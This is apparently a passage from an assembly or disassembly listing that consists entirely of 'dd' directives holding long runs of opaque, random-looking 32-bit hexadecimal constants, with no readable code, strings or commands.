5A128698h dd 6ACEC721h, 0A06CD1BFh, 33121290h, 0FD701AF3h, 8FB3389h dd 0C16121BFh, 0BD5501FDh, 59F2E2CBh, 0F53924BCh, 6E6561B3h dd 8DD4F798h, 0FAFAF600h, 0C5247B36h, 0BB459BFDh, 9BD5F875h dd 0FB3347AFh, 4310AA6Ch, 7A575FEDh, 9BF41C02h, 0F7DC6BC5h dd 8AE80354h, 44318284h, 6CF82D91h, 6E12A93Dh, 0DC7DF2BEh dd 0EE5FFFCFh, 61E628A3h, 4370D234h, 497C2350h, 757B11ECh dd 0EB87749Ah, 64BA2163h, 279179EFh, 0B8589A68h, 0FB8BDABBh dd 8D66BDB4h, 0EC20A928h, 7473A94h, 0CF29FB21h, 2902522Ah dd 3149D9E9h, 0A5E60953h, 24D12621h, 75F2C6ACh, 80293698h dd 8FC883Fh, 8C558EE1h, 99CB0430h, 9E610928h, 0D3184DB5h dd 8040714Fh, 0D0F50F3Eh, 57352D3Dh, 2A995D07h, 3593F448h dd 1B7F9F86h, 3B09EB2Fh, 90FD544h, 0F30D4B3Bh, 0F6B37CCh dd 99D66753h, 0CA4A687Eh, 69C00A3Fh, 12F440F2h, 285E6B74h dd 6F64D2C9h, 0CF045006h, 40D529Eh, 5B975CADh, 407760C8h dd 39933C4Ah, 0F5630005h, 4961F568h, 6696DEE3h, 0A57B7FE0h dd 5780AE41h, 0D41C6D14h, 1D5B7B73h, 0DDB5187Fh, 6F611EA0h dd 70ECBB04h, 5B96419Bh, 979219Dh, 8650DFAAh, 0C3C92888h dd 1BBCBD8Ch, 93AE43B4h, 0F20A01A3h, 0ECA7F963h, 2BB877DBh dd 0D2455C2Eh, 0E421231Ch, 344CADB7h, 0C0FC705Fh, 832C9ADCh dd 40BDD995h, 177771A6h, 0A9B3BD09h, 63781532h, 0F64A7DD0h dd 0D6E3734h, 0ACBF7E9Fh, 8AEA5DFDh, 0AC497B29h, 0E87CEF14h dd 6690D1CAh, 551051E9h, 16AB37E4h, 0DFE0FCF4h, 0E3AD6176h dd 0BE109D9Ch, 9A51D5E7h, 7229BA08h, 0F01D2DE5h, 8971DB8h dd 0CF36B3E4h, 0D204187Dh, 3D3DBA0Fh, 0A842059h, 0BEDBF0D4h dd 939B332Ch, 9722B275h, 755FE190h, 5964B1A8h, 4CB7208Bh dd 8F33E250h, 0C3BD828h dd 525BC3F6h, 2029BC53h, 5568E5B9h, 0E29BF4D9h, 0B96801A4h dd 1BABE700h, 0EC53A7ECh, 5E9F6333h, 1D58C93Ch, 9A070C49h dd 0A35C3946h, 399C422h, 0A96B8A6Fh, 9C9F180h, 4DB2EED8h dd 46732E6Ch, 0A5562C1Ah, 7BFB3FDDh, 9C257A89h, 0E31645D1h dd 0E2F64906h, 54166AA2h, 520E2B25h, 6550D9FAh, 0D022AFE0h dd 0C863BB68h, 4112988Eh, 0EC176A76h, 0DACC9577h, 3FB0DDFEh dd 0F227DAE8h, 0F3C21732h, 0E44CE28Ah, 0ABD295FFh, 0C9D212Eh dd 37A99CE8h, 7E644156h, 0AE07969h, 97ECDB79h, 51A487FAh dd 8FD00394h, 0C02157Fh, 0D99AE173h, 0E7222CA8h, 660300B9h dd 0CBD1DB46h, 0ACCC2150h, 8909AF1Eh, 0A04D9580h, 0F29ABFB3h dd 0EE3F1CA9h, 47EB4882h, 0C50304CEh, 5220CC9Eh, 0F6352A2Ah dd 660EEDA1h, 56CFB1B0h, 72B4CA92h, 838C02E2h, 4A75DFFAh dd 0FA29CF71h, 4B7B78EEh, 430DAD3Eh, 0B53E8006h, 62F90E5h dd 6D27EFCCh, 474AA560h, 0C229365Ch, 0A3827004h, 184CFF2Ch dd 69026035h, 0DD4A6EDFh, 64B16B26h, 0D3C133CBh, 14231EAEh dd 96C65E31h, 2489A13h, 0D111C6DCh, 45ADD747h, 0E40CDCA6h dd 0DA17CA62h, 0ED545314h, 0F24AA6BAh, 0B82617E4h, 0E40DB33Ch dd 9D7EFFC4h, 0B88A56C6h, 80E0704Bh, 0AA19B3F2h, 0D74D5504h dd 936B599Ah, 463B3E60h, 19A01960h, 1461BA58h, 8311625Eh dd 0F3A4F4FDh, 533A57B3h, 0FB5BA950h, 8129D1D5h, 958EF8D6h dd 497D6C89h, 69941941h, 0F736ADA7h, 63A02A87h, 8FD93CC2h dd 0E2AA81DEh, 255CFC9Dh, 0ED8B7F8Fh, 0D7074384h, 0A0FA1AF3h dd 291D292Ah, 0C1BEA135h, 0BB229D9Fh, 0FF035AEh, 8AC9CEB9h dd 0D0710E6Fh, 44B38EF0h, 0DAAA74C2h, 0C29B75F0h, 8803D9C7h dd 247CC49h, 218538EDh, 4E85B375h, 51283861h, 0E21B76B9h dd 2B8A91E5h, 8F0C3637h, 0EB8B2072h, 6F7FF937h, 0E0B11F45h dd 0DEC6B339h, 3055D44Bh, 0A4622580h, 5043278Eh, 0CC29633Bh dd 0F31A0D3Eh, 89AB2E63h, 7AFF414h, 0D8C9F4DDh, 7A166391h dd 76A3FF6Dh, 0DE46C38Ah, 9D061921h, 7FF52F44h, 0BC1ACF60h dd 0D612EDDh, 227E1710h, 98E82550h, 0D84F789Dh, 874C4F7Bh dd 20A4BDA6h, 0A3DE9C98h, 23953647h, 6BB6CD2Dh, 9A94DCF3h dd 4C38C4C5h, 9AED7A55h, 0AD35E2BBh, 4CD78A44h, 3863F271h dd 0D1FB0169h, 4CCCF479h, 8018FDD3h, 0CC266B6Fh, 4FFDF357h dd 46602667h, 8E35629Ah, 7A94A83h, 380EE777h, 0BDA70BD7h dd 225F0485h, 0B4ACF394h, 0AC4B0EA6h, 0AFE53AA1h, 0AEA8C626h dd 0F31B3ABh, 0DA880A40h, 0F00971EFh, 881A5C40h, 536CC2F9h dd 739467A0h, 69F9C1C2h, 54CFA568h, 0C945538Fh, 9B305678h dd 0F0D7D0D9h, 0F5A3453Dh, 776A5DA2h, 0FB0650B6h, 0D7E9CAF8h dd 0B122BF9Ah, 0C9C349F4h, 716487F8h, 265A751Dh, 6F7221FCh dd 0F9BCCD3Fh, 6845B70h, 24C84CDEh, 4B92DE54h, 0B45CA2D5h dd 72FFF59Fh, 0A632513Ch, 35336A72h, 0A4CB25A7h, 983DF537h dd 0EA29AE58h, 4B841CF7h, 0DB84E6A5h, 0E4BA95Ah, 17958E90h dd 85872DC6h, 9EE0A710h, 0E2012F7Eh, 0C5DC6CCh, 0AEDA6932h dd 7A7D739h, 5B89F759h, 0B682FC68h, 0F0FB6227h, 807C7239h dd 67A45890h, 0E2ED311Dh, 6D60DE20h, 50E334D6h, 82BB086Dh dd 18A43AE7h, 0DF140E34h, 589F990Bh, 33F80F24h, 92AF748Ah dd 36EAF902h, 54A98E16h, 0D09701E0h, 6E12B1Fh, 0F47BF543h dd 29B949DFh, 0D590D153h, 0E2FB54A2h, 7CE1B8C9h, 9F22A6CEh dd 4AF23BDBh, 96AD2A8Eh, 49C3D59Fh, 474C07C5h, 0AFE943B6h dd 0A76BAF12h, 3A1E7C7Ah, 2E2A4440h, 1AC0CC97h, 95389995h dd 47CD89DCh, 0DEDFFD8Fh, 6F09D3CAh, 0D561883Dh, 0CCA47871h dd 6057A081h, 0EF786895h, 1C3E9273h, 65676C48h, 0F565417Fh dd 650E1BFFh, 8053357h, 63879CF2h, 3A270916h, 0CCC7EE67h dd 0C8E09C2Dh, 3BABF52h, 451D8D6Fh, 0EB63EDC4h, 166F39ADh dd 0CA749B4Eh, 6A794119h, 8167C507h, 0D60DF0A8h, 70BA7D4h dd 60D062EBh, 5BBF6503h, 0ECEC0D7Fh, 0CE37FA25h, 7B78AD7Ch dd 0D694E6E2h, 91496996h, 0D224E360h, 5A06BA6Ah, 40DDAA54h dd 0B557CC58h, 5971AF17h, 0CADF0AB9h, 62703E8Ch, 7FDEE96Fh dd 54EC42BEh, 612DCD07h, 47E02629h, 0C00C9C23h, 84860D9Ah dd 30B99989h, 94161C16h, 7D83E3F2h, 939B997Eh, 0A4FC8CFFh dd 345E94FDh, 0F4A47076h, 0BA186F5Ch, 0C0FA380Ah, 36E0E4C1h dd 67F76E74h, 81B96248h, 0F462D575h, 0ADC55D3Bh, 82F50E7Fh dd 1D261759h, 0D36585ACh, 0FC8D095Fh, 516C977Ah, 0BEBF93E1h dd 0DCCA5F2Ch, 0F4C5D6F7h, 0CB32A5C3h, 0CF5CC05Fh, 0CE07AC50h dd 1ACEB5B3h, 2BB26B72h, 37C065C7h, 64A90B73h, 0E185E40Fh dd 62AC1440h, 806879E6h, 9B12A43Fh, 0D525947Ch, 0B395AA74h dd 0FA7CB50h, 0B86C278Fh, 0F539B825h, 2E1F8D7Ah, 0D4A9C523h dd 9451DD94h, 49138C65h, 337522B2h, 0CA449804h, 3EED9C3Bh dd 0E12D504Eh, 163ADB75h, 5DE7C6BCh, 3977CA61h, 0A62FA838h dd 5B7845Ch, 9A8D02h, 0A7D08110h, 0F577086Dh, 3A9846B7h dd 0A503B587h, 0BE3EAB36h, 79963967h, 0E22CA043h, 6809C7A2h dd 183A4C03h, 0CC63A570h, 0F22ADB99h, 0FE799FE8h, 8FAA1C7Fh dd 12C8C703h, 26B7AFBDh, 0CFB30887h, 0E250D649h, 0C1267383h dd 0DE1F8118h, 5C6ADB62h, 0AB329E26h, 757B7C89h, 0D62E48AEh dd 4C8E8393h, 90F50F32h, 0AE6E403Eh, 564A0C90h, 0E39B2BF6h dd 68E41407h, 136AB3A3h, 7B9A2033h, 0DFFC8227h, 0B80C9086h dd 0A1E17C0Fh, 329FAD1Bh, 0C8C1F24Dh, 0D0BE651Dh, 199F2AFDh dd 708A248Fh, 535B9425h, 6F42B3D0h, 674A5752h, 82BB00A2h dd 5E17453h, 0EFBF6C54h, 14C1D282h, 0A7DA134Fh, 23B6300Ah dd 81E122B0h, 0F9CDF096h, 0E7355573h, 0D063D88h, 74F6264Bh dd 0F6A296C0h, 5C96872Ch, 0B6988B81h, 0CF31721Fh, 0F99A0C42h dd 0C34A0FAFh, 63D14643h, 99263935h, 352DBB10h, 2178D6ACh dd 144991Ah, 2A5EAB51h, 0FD89B606h, 0BC3FD386h, 8F2EB1A5h dd 68B7E330h, 0A0814EE4h, 0D12C1276h, 33FEFFBh, 1D09EC1h dd 0CD4FF7A4h, 0ADAA52A3h, 2DAA0E85h, 6EAF961h, 0D4B39ED2h dd 17E8194Bh, 76454AC0h, 7FC2ED88h, 1A678599h, 76700109h dd 0B8C1BD55h, 93AB6DE5h, 297DD9C2h, 0E4178A19h, 4A9C9260h dd 8AA80A0Dh, 44F4D3D9h, 0FEAA2A0Bh, 0A77FF70Fh, 0D68679D8h dd 8A07A92Ah, 59E86F4Fh, 7751BB35h, 0A18FCCC8h, 8C8E1F41h dd 0FA846902h, 0AEE5B734h, 2227C053h, 806DBA4Ah, 570B095Fh dd 46EE8208h, 4A16F04Dh, 36652EEFh, 539BC470h, 0BE65CC08h dd 0E4EC6A85h, 3771B80Bh, 884F88CBh, 2373FF1h, 0E63FED60h dd 930790E2h, 0E1A0E26Eh, 70F0C1E5h, 304D4AECh, 0A4D2FB0h dd 65888D00h, 1354F762h, 0A808C304h, 37FF432Bh, 1EFFD92Ch dd 2ACFF29Bh, 30C6CA6Dh, 1C6B99ABh, 0B56EC490h, 0AC87CBD4h dd 0B18CFB08h, 73DF66E2h, 9F954F45h, 17E952F8h, 0D716442Dh dd 82477AE7h, 895C0FFDh, 75C69B62h, 2460EE1Ch, 442CD081h dd 2EE4DD9Eh, 0C101D37Bh, 0B90E47DEh, 72CE6F21h, 963200B8h dd 555646FEh, 8111231h, 398C8B92h, 0C365B3A0h, 64AD4BBCh dd 0EBA6E0B0h, 0E12EFE55h, 66C572B4h, 413D1Dh, 0CCF9E1F3h dd 8E636229h, 4252D65Ch, 75AC0BA3h, 8B92132Fh, 587C4CB1h dd 0D8238B46h, 5D933694h, 3A93E9B0h, 0FE3DEEACh, 0C0B2CDABh dd 0B79DAAF9h, 641C65AAh dd 0AAB69248h, 98F5FBF1h, 0AB24105Dh, 0FD7A19F9h, 933B45D7h dd 5BBEC946h, 0B3DBDDCAh, 0AEF9D218h, 6A772EC6h, 1D4830E1h dd 3534819Dh, 6CDFB589h, 98B73D0Dh, 4A3B5925h, 185057F9h dd 0D94BED5Fh, 652E420h, 4D52D130h, 0EEA09068h, 0D98898E4h dd 839B20F7h, 9951D601h, 69E84704h, 0B5E50ECFh, 7BFAD85Ah dd 4D4CBCDFh, 9DC0EBD2h, 0CF235B2h, 0F68A058Ch, 34AB29E0h dd 51ED27FFh, 0B5DC9DCh, 7581B80h, 32E38953h, 59D27DDFh dd 5D8C5003h, 851C929Ah, 16E5C26Fh, 0C8C627E3h, 7F1CFD71h dd 0CF4C7AE0h, 0B9F27123h, 13BC53BEh, 0BAB827D1h, 31F97943h dd 4C1FDC0Fh, 7B2AB441h, 0C10E15ADh, 0F0D156F6h, 3F72FF90h dd 7592204Bh, 3645828Bh, 3AC1699h, 0E296B1A9h, 1CDA4C14h dd 0A25465D7h, 22E9545Ah, 54CC26B2h, 562362DCh, 0E4A32D62h dd 9D9A000Dh, 1C32CD5h, 0A78286C0h, 515128D5h, 0A49DF60Ah dd 75763BA3h, 0DFA92828h, 631D3E1Dh, 0E13199C7h, 18F23F7Fh dd 6FB27FF6h, 8DF36245h, 0BB6ECFE5h, 0FD9FBEB8h, 5DDEE906h dd 0BF25C13Dh, 6766AF29h, 8606C2A3h, 0F543137Eh, 0ABDBCD9Ch dd 0AD9D2224h, 0F024C497h, 6528E1A3h, 0B1CD3C3Ah, 142956D3h dd 0AEE4E076h, 2EEA1064h, 0D2A31EC7h, 5ECD3ADDh, 0A54B77F4h dd 0B6ED36C1h, 9E39E1A4h, 30063021h, 8CF3A8B6h, 0F304155Dh dd 3A36C1D6h, 4ADF6773h, 0CE5D78DBh, 736B0EB0h, 19B52023h dd 40B230A7h, 711E90CFh, 0E69E0002h, 61A1A1Ch, 0C1704D3Ch dd 9D69F951h, 0DF1335CCh, 4539C105h, 0C01B1484h, 64719030h dd 3F3747E7h, 0C0484276h, 156E95C7h, 902570BDh, 0D42770EEh dd 0DEBC350Ch, 0F1EDEDCEh, 0F9280E2Eh, 79DF9FC0h, 75CF7949h dd 0F6F82A6Dh, 7A606BC7h, 90B432ECh, 5F5C01FAh, 56018B84h dd 821B6922h, 46D64C45h, 2B2965F8h, 52E942B8h, 387D53EFh dd 1C365DE3h, 784D703Dh, 0CD9FC90Bh, 0DB5DC923h, 0D707264Fh dd 0B25D617h, 7F6F3B0Fh, 33797B22h, 7629B85Bh, 0F867A9CEh dd 0F6AD75D0h, 0E03E94BCh, 0E9734844h, 0FC22AE6Dh, 0AED36814h dd 27CE2598h, 252108C3h, 475F0B72h, 823A7410h, 0BAD21BB0h dd 5B8DD618h, 0AD0177DCh, 6ECECB23h, 0B05E811Fh, 22A4232Dh dd 64DA101Ah, 0A27D3335h, 0DA0B71D5h, 0FEE79AB4h, 85BE6106h dd 90797274h, 0DCF15970h, 6A498F0Bh, 0A3611C4Ch, 0D84DC47Eh dd 0F186684Bh, 8F8DA297h, 998D994Ch, 7EFAD8CDh, 4A9E0171h dd 4EA0ECEFh, 8B916F02h, 0BC62F2DEh, 34CF77DDh, 614E9BEDh dd 0EFBAFF62h, 50301C97h, 0B144AB87h, 3DA4B8F5h, 0B3485D34h dd 668DA3CCh, 3FE2CDF0h, 0A1B2466Ch, 1AD71C3Bh, 0E5076952h dd 3060742h, 3C96B793h, 0D1A60EE3h, 42555B88h, 0B4678655h dd 0AD090A9Ch, 3178DC5Eh, 80EA184Bh, 1E08B024h, 7D233BD3h dd 0EEF5FC74h, 0FF6182A0h, 0B9562DC8h, 8006AAC3h, 0C2680E15h dd 90248F31h, 5A57A2D5h, 59F37597h, 0D510654Bh, 577A114Bh dd 121BECE3h, 88B1345Ch, 0BDA963FAh, 0CC26C2F0h, 0E6D5E560h dd 0EE235BCFh, 92A664DFh, 27E71249h, 0D7F202BCh, 6001D338h dd 20497E1Ch, 0E97C2684h, 0E9C49F14h, 3C33A8B9h, 859D8437h dd 0F7312170h, 77F63F0Fh, 4B48646Bh, 8435DF8h, 5A952F31h dd 0F07CD2D1h, 81A9105Fh, 0EC96DDC5h, 9840B3Ah, 0CF07B326h dd 0D50D54A9h, 75DBD5FEh, 205DEBD4h, 96C740Eh, 0B4542C35h dd 0AF3C49Ah, 0F51F3FDAh, 72E8DF7Fh, 0AEF58F5Dh, 750A1B30h dd 6001DEBh, 9AF1A941h, 2DBAF84Dh, 6BBA6A04h, 0EE74C692h dd 7B4E5EEEh, 0D334AE36h, 6915BF09h, 4D8CE387h, 899DCCA4h dd 6716117Dh, 734C6E98h, 0D06EE7Eh, 0FF3298B8h, 0F4107668h dd 0F587D36Ah, 0EBC5F16h, 0F6CB28ABh, 0FFC2D0FFh, 2C3ED0F8h dd 8831656Ah, 0D4C6C798h, 0C905B61Dh, 0ED2D09B1h, 3760250Ch dd 0EF1B0E17h, 5ACDF6CBh, 4D727BF6h, 5F71D82Fh, 0B91DC656h dd 665B0100h, 4BD4555Eh, 0C8EA6592h, 0C53B0EA3h, 193B7D3h dd 0C06D819Dh, 4FBB718h, 0F86B1245h, 1FE29A70h, 5D17BF5Eh dd 3935B319h, 0E16E0312h, 805D3313h, 4B53BA7h, 70BE1852h dd 4A3B592Fh, 0BE0BB0FFh, 0CDA244D4h, 5340FA77h, 29AA8F3Eh dd 0F626CB87h, 6C789744h, 73A4140Bh, 1D988EA0h, 0C69F5DCEh dd 6CAB243Ch, 6A942B5Dh, 6422CD39h, 2EA95E5Bh, 0C57C7D9h dd 0C422DC3h, 0EC61AD85h, 0EFC8E388h, 2EB6364Ch, 0F6182964h dd 0CA9EE11Dh, 7885ED9Dh, 0F4C470E7h, 5C6A720Eh, 2321EF86h dd 13084E94h, 731A20D4h, 3486D13Ch, 201B340Bh, 0E2251251h dd 635820E1h, 509E8203h, 21E93DDDh, 65F1BE4Ch, 50AD32D2h dd 0C3F9A54Dh, 3D6B479Ch, 0D8C67E6Bh, 77B85B7Ch, 60412F8Fh dd 0D556B614h, 0C0861C4Eh, 0E7E78F04h, 438611D0h, 0F241D379h dd 0DE20A124h, 2784274Eh, 5224AFD0h, 2690E81Bh, 0EBA9DB84h dd 627F5AE0h, 0D996441Dh, 68A68CC7h, 0E12B89F0h, 8E4E6FC5h dd 0BFE61AF0h, 7C4F26FDh, 0D7D68D8Dh, 8D18D584h, 0A4AF7BFEh dd 0C56C4900h, 7400AFFBh, 0CE1C6881h, 79A95A79h, 46D56138h dd 0D28B243Ah, 2102609h, 0ED744282h, 91A87BE0h, 0ABA30089h dd 0B3B5CC4Eh, 23516C81h, 15EA93F6h, 0C20D53BBh, 15EE8164h dd 432CFEBAh, 9D4CB61Ch, 0B9A1F6Eh, 0BD33ABFFh, 1FF73B7Ch dd 0C70FF6A9h, 8475ED35h, 0AB220991h, 604969A1h, 5E185E9Dh dd 0E158813h, 1FDB6DD4h, 0A68BFCA9h, 0A3204B01h, 96653359h dd 6F12CA2Bh, 283ABC5Fh, 0FDEFE9FBh, 1918A12Dh, 95ADDF4Fh dd 43AABEC7h, 8DCC977Bh, 7143EB8Dh, 1CBAA917h, 0ADC022CAh dd 3FB430A7h, 0FF2953F2h, 0AE214DBAh, 0A85C1A2Ah, 0D9CC17B0h dd 8BE5AF51h, 0F1199864h, 924109E6h, 14C38F8Fh, 868F4D40h dd 78D8C7ADh, 0F1A6F730h, 0E387DB83h, 46BE586Bh, 8F9A6AE2h dd 6E80468Eh, 770E3FB6h, 0BD9EB35Ah, 91432109h, 9B58D664h dd 914FE7C5h, 8C2B112Bh, 7643CF26h, 4D0C9DA4h, 343415CEh dd 0D4C6CC49h, 0F37B7181h, 0F78356B7h, 3C41A245h, 92136694h dd 211E51ABh, 2F61ABF3h, 7E9DE76h, 19A3EB88h, 767B5494h dd 754D775h, 0A3B4EC71h, 0BF13C5ECh, 0EF632265h, 3FDBFC7Ah dd 82FBAA28h, 0A45055E0h, 0EBF079D2h, 26E69D44h, 6E669C9Ch dd 0ED758EC7h, 182E2DEh, 1FC2DC8Eh, 0B5B8DC6Ah, 0E0D85864h dd 0A4F523ADh, 4EBCD299h, 2C46B98Eh, 203C81CCh, 4496A80Ah dd 0E2E2042Ah, 0EDA71A5h, 3069C9E2h, 0B7F3B508h, 0E778726h dd 0C30D08CBh, 297AE868h, 155A8391h, 19D87300h, 9FF247E0h dd 7E003BCFh, 7838D381h, 0BBA3D0D3h, 0C6573F9Ch, 91C801A0h dd 9012E974h, 0B78E7C98h, 506FB48h, 0F0A7D56Dh, 0D0B8DBBDh dd 906E0BA7h, 0E343D958h, 26AB446Dh, 7EC0EA9Ch, 0A61DB20Fh dd 0E53A2550h, 0E4366EC6h, 0F8A1985Eh, 2CBF837Ah, 0D6113ACh dd 1946ADFh, 0D9C2A815h, 0D43AA81Bh, 152F237h, 1A1E9B79h dd 0AD0417C3h, 0DCE52B1Ch, 10C94440h, 6F3B2F17h, 41DE0F16h dd 0A504D103h, 41E4F96Bh, 0AF43ADD8h, 0B7CE84ADh, 0FACCE61h dd 8ED4E9C7h, 0AE2DFFAAh, 0A6ED4FAh, 5D6F7925h, 0D0261A8Bh dd 51443F74h, 4BC93D29h, 89D468AEh, 3B659499h, 0D1A7C789h dd 0BF7A3FDFh, 903ED2Eh, 0DFBD91CBh, 7EEC756Bh, 278C439Eh dd 0BED7785h, 95C3B408h, 1BB248ADh, 8B9E61B5h, 9BB52928h dd 813B8356h, 1F57F957h, 88F1293Ch, 0AECB15D4h, 2C6F32E0h dd 0A3FEB647h, 0AB435432h dd 0B4464C0h, 463D0E34h, 0DEB74065h, 0F17EED1Ah, 0CEDEB6AAh dd 2FB2ABBAh, 45737441h, 5DBA65F0h, 9FE4A23Eh, 6543B36Fh dd 0C9A2DB6h, 4E9C9C48h, 476A6259h, 0DD9DAE14h, 5474FB03h dd 1595279Fh, 309614D8h, 2C8DD1F6h, 3AB43030h, 0E5A6FE9Ah dd 86DB1943h, 0A3CBFD62h, 3EE49527h, 0BFCD11CFh, 32141B23h dd 0BFA68143h, 0B645596Ah, 6CF14C4Ch, 500FE837h, 77D2A123h dd 0DDF3530Dh, 0C0F29EFEh, 1A56FF29h, 6059D17Ah, 0EAED5FF3h dd 0B04E6FD0h, 0A3A0A9D3h, 6ABB62D6h, 0D821626Eh, 21A2584Eh dd 0DCBA43B8h, 3948DEEFh, 25C00A95h, 0B3E5D0ECh, 6DCD39C5h dd 508FF01Dh, 0E83A7F92h, 9706501Bh, 0E96C9A30h, 7EAB7D34h dd 0B1224C8Ch, 45F13A0Ah, 7990D3A3h, 0EA3728BDh, 0CF1D6F20h dd 3A27554Dh, 2160FF05h, 4FF0E99Bh, 76370131h, 0ABCCADBBh dd 0D3394095h, 72A596F4h, 71F56E6Ch, 1A0B517Eh, 0CF03A4A5h dd 0C7B882A9h, 15F6ACFFh, 0E5A88D7Fh, 6429014h, 6DA1F16Bh dd 0A754779h, 230ACDA7h, 7D77B5B1h, 881A5E7Bh, 0C8739412h dd 47220AD8h, 0D4F4D8F8h, 0BC5E0BE4h, 5948BE61h, 0BA43A160h dd 1E56E78h, 0F92D080Ch, 4A36417Ch, 7286477Fh, 2E7B70Fh dd 845EBC7Dh, 0D92C10CEh, 12943C1Ch, 0A5B63F3Fh, 0E0E7E90Fh dd 0EFFA8C25h, 0FD736F4Eh, 89698946h, 65A94E83h, 1013E091h dd 673D0C9Ah, 5685E5D3h, 0C0A32797h, 0D7E1272Fh, 56185EA1h dd 0BBBB0793h, 2766310Fh, 0B683B5Bh, 84C4EF77h, 0F62D1452h dd 3C1B0A56h, 0FF66772h, 0D891B449h, 0C36A27D8h, 0D9C138D7h dd 44926227h, 1EDD094Bh, 0B7A29C37h, 29D9F66Ch, 9FE79D11h dd 7E4C846Ah, 769F8760h, 0B068F52Dh, 6870F979h, 0EB98001Eh dd 64D4219Ah, 1039CB94h, 16E45499h, 90C9D27Ch, 0B370F417h dd 67B91BC2h, 0A5347F4Fh, 29ACC399h, 0EDAC2A88h, 52323233h dd 0E1E5F565h, 6ED0C9B6h, 789D7A74h, 0F3B70C7Fh, 0C4782CD2h dd 0C054F856h, 16B2489Eh, 0F59394D7h, 7E647E30h, 90D85870h dd 751A4B41h, 3AE1F8BAh, 7A9C122Ah, 0A325AE4h, 204E2A12h dd 2A27FF74h, 91843EA1h, 0AD02AAC8h, 90CBE28Ch, 193A27A6h dd 0E344D629h, 458DF889h, 0F8FAC912h, 45520C59h, 4464892Dh dd 5CF04382h, 15D0534Dh, 0D05FB250h, 0B97C4A90h, 812CB768h dd 0E5E3C68Dh, 4876E76Ch, 0E7E862ECh, 3AD6B9CDh, 126D6C75h dd 77FB5C52h, 0B2757B56h, 0A80C3787h, 602256C2h, 0A6DBF9C3h dd 7625D9CEh, 632A26C8h, 82F0BD64h, 8FEBB876h, 0A1B3540Ch dd 78A312BEh, 5D1F7BDFh, 1A5A115Bh, 0CF0C1D19h, 0A2FBE6F7h dd 0FED95C02h, 0FEBA65ECh, 0C9C412F3h, 0BA4C3AEDh, 62E728BFh dd 0C42506B6h, 4B3E94EBh, 0A6B01AE4h, 3C195778h, 0E782D7DBh dd 357EDA23h, 2CF52F16h, 0AE85045Ch, 716FD325h, 0F5674F88h dd 0BCC73198h, 6EFCB778h, 7B8FD295h, 0ECFA4B82h, 41289E71h dd 0B1F9BF00h, 73E4DAA7h, 21CF5CDEh, 0E3BBC9D7h, 546372FAh dd 643C5E6Fh, 1AF17EE8h, 9A98FCB7h, 0E33E9F69h, 0F55E81C3h dd 0F2003E3Ah, 9CE0F04Bh, 0CF7B5F26h, 173D13D0h, 4F1EA901h dd 454CD5B6h, 0CA1FE213h, 5F3C3BD8h, 947AE2CFh, 0FB773CBBh dd 46E0D938h, 5AEDCB99h, 8727FCA6h, 0B1A58ACh, 0BC95A804h dd 0BCFD656h, 0D62400D8h, 0B0F72087h, 2BA97CC4h, 4ED0AF41h dd 88A4834Eh, 0AE644BFAh, 0D41A870Dh, 0E494DAD8h, 0CE937A65h dd 0FA364E29h, 419BD878h, 0F1EE6415h, 0EC0C4A4Ch, 0F5FC592Ah dd 1D09CB49h, 1833C060h, 22082F5Eh, 5C5D675Ah, 363A07C4h dd 7A58C270h, 28921993h, 0A02698F0h, 69EACC5Bh, 7644FC7Ah dd 867A408Ah, 9A266AE1h, 0C13F5F24h, 14092C23h, 5E70F814h dd 26E9C659h, 6664696Bh, 0CA96FD28h, 48F8917Fh, 0EDE6249Fh dd 8951D159h, 683EE98h, 0F75C7C02h, 0ACC7F53Eh, 0BBDF69A0h dd 64A4A6E8h, 9E639C8Eh, 8CE37C8h, 1E685E18h, 53560DBBh dd 16FB78C6h, 275B81CBh, 0A65C00B9h, 7D9D4966h, 37AA78C6h dd 3A454968h, 4191AE16h, 786D233h, 583AC9C3h, 3500C10Eh dd 4F028937h, 59FF517Fh, 0F0501093h, 0A16970FDh, 21A48D52h dd 0F93DC6B7h, 0B3C17FC4h, 1223853Bh, 20796CA2h, 3B6C3C76h dd 3A0ABDFh, 10C1B359h, 0B9421380h, 680FB9F3h, 8F4277C1h dd 0FA42895Eh, 0D6B80CA2h, 0A8038089h, 5DC55F1Fh, 6487FD03h dd 49BE0BEh, 317ECDD0h, 2970C704h, 0E2AF940Bh, 0C1056F9h dd 0C68CF842h, 2C90C608h, 0C88ECF99h, 55BC0FC8h, 0BFCECD29h dd 77956EB6h, 4EED5B06h, 0B926008Fh, 619A3DA1h, 79CEC640h dd 774FEBB8h, 0FDDBDF7h, 5F2AF593h, 0A3136EBEh, 0DB8CCD4Bh dd 67CB9463h, 8F1C9B53h, 79C47471h, 0CAA98079h, 9A913A12h dd 1865D432h, 0F7D2FC4h, 0D394405Dh, 0B1D01DAAh, 617DA73Dh dd 0CCF414B5h, 2D8F7163h, 67583D7Bh, 1CC20E5h, 0C3F0CE78h dd 0C4D11D58h, 619C62B5h, 0AE31F505h, 72C04E41h, 3AF43675h dd 0E8464F2Bh, 3048054Bh, 7E3A7256h, 6F16A9FDh, 0FE6B9068h dd 627ECBA9h, 9FD0A068h, 372D07CEh, 52D17A6Dh, 8F1ED3AAh dd 0E03E6523h, 5ECAA663h, 0FD220D7h, 0A3913C0Bh, 4ADA1A35h dd 6ED30CB1h, 0A131BFh, 5E574627h, 0F5194C71h, 1C067810h dd 0B212035Ch, 8A53719Ch, 0C1DDC26h, 0E73C4163h, 401F4818h dd 91B79621h, 23C06EF9h, 6B68DD11h, 23FC19D5h, 0BAE1D63Ch dd 5F6255C7h, 2FB165EAh, 0F342C3E3h, 128AA25Bh, 7EB96AEFh dd 89387A78h, 7C427266h, 0F4ECCE7Eh, 0E6DA67BAh, 0B5475807h dd 0F508740h, 6DE45F6Eh, 0FF8E47E8h, 4B5D095Fh, 0EF1EBC73h dd 3B9F65FBh, 51304068h, 0EB3B636Fh, 0DB3CF4BFh, 0C4AFDC1h dd 4A8D634Bh, 5469FD36h, 73942D93h, 0B0381C33h, 9FB4689Dh dd 3D3097A2h, 1F50158Bh, 5DB50D20h, 8EE60FD5h, 3CDC85BFh dd 105EB3F6h, 97A880B6h, 11527BDDh, 93E14891h, 2436FF7Ah dd 0FE8C2009h, 0D57EEC77h, 598FB3F6h, 0C0DF1F58h, 0C8384F6Fh dd 0AEB33AFh, 0B6069DFCh, 0FCF38CC0h, 0BC213ED6h, 9E427C6Ch dd 0C33979A7h, 0FC4F1CFBh, 1CED279Dh, 12FB3FEBh, 2B772686h dd 0FE0AE959h, 0F3B21A2Ah, 0CBA3F49Eh, 152B373Bh, 654C91ABh dd 0FE6D721Bh, 1D2A5966h, 0DFA4D1ECh, 694AB5EBh, 5E179076h dd 0C071CE1Eh, 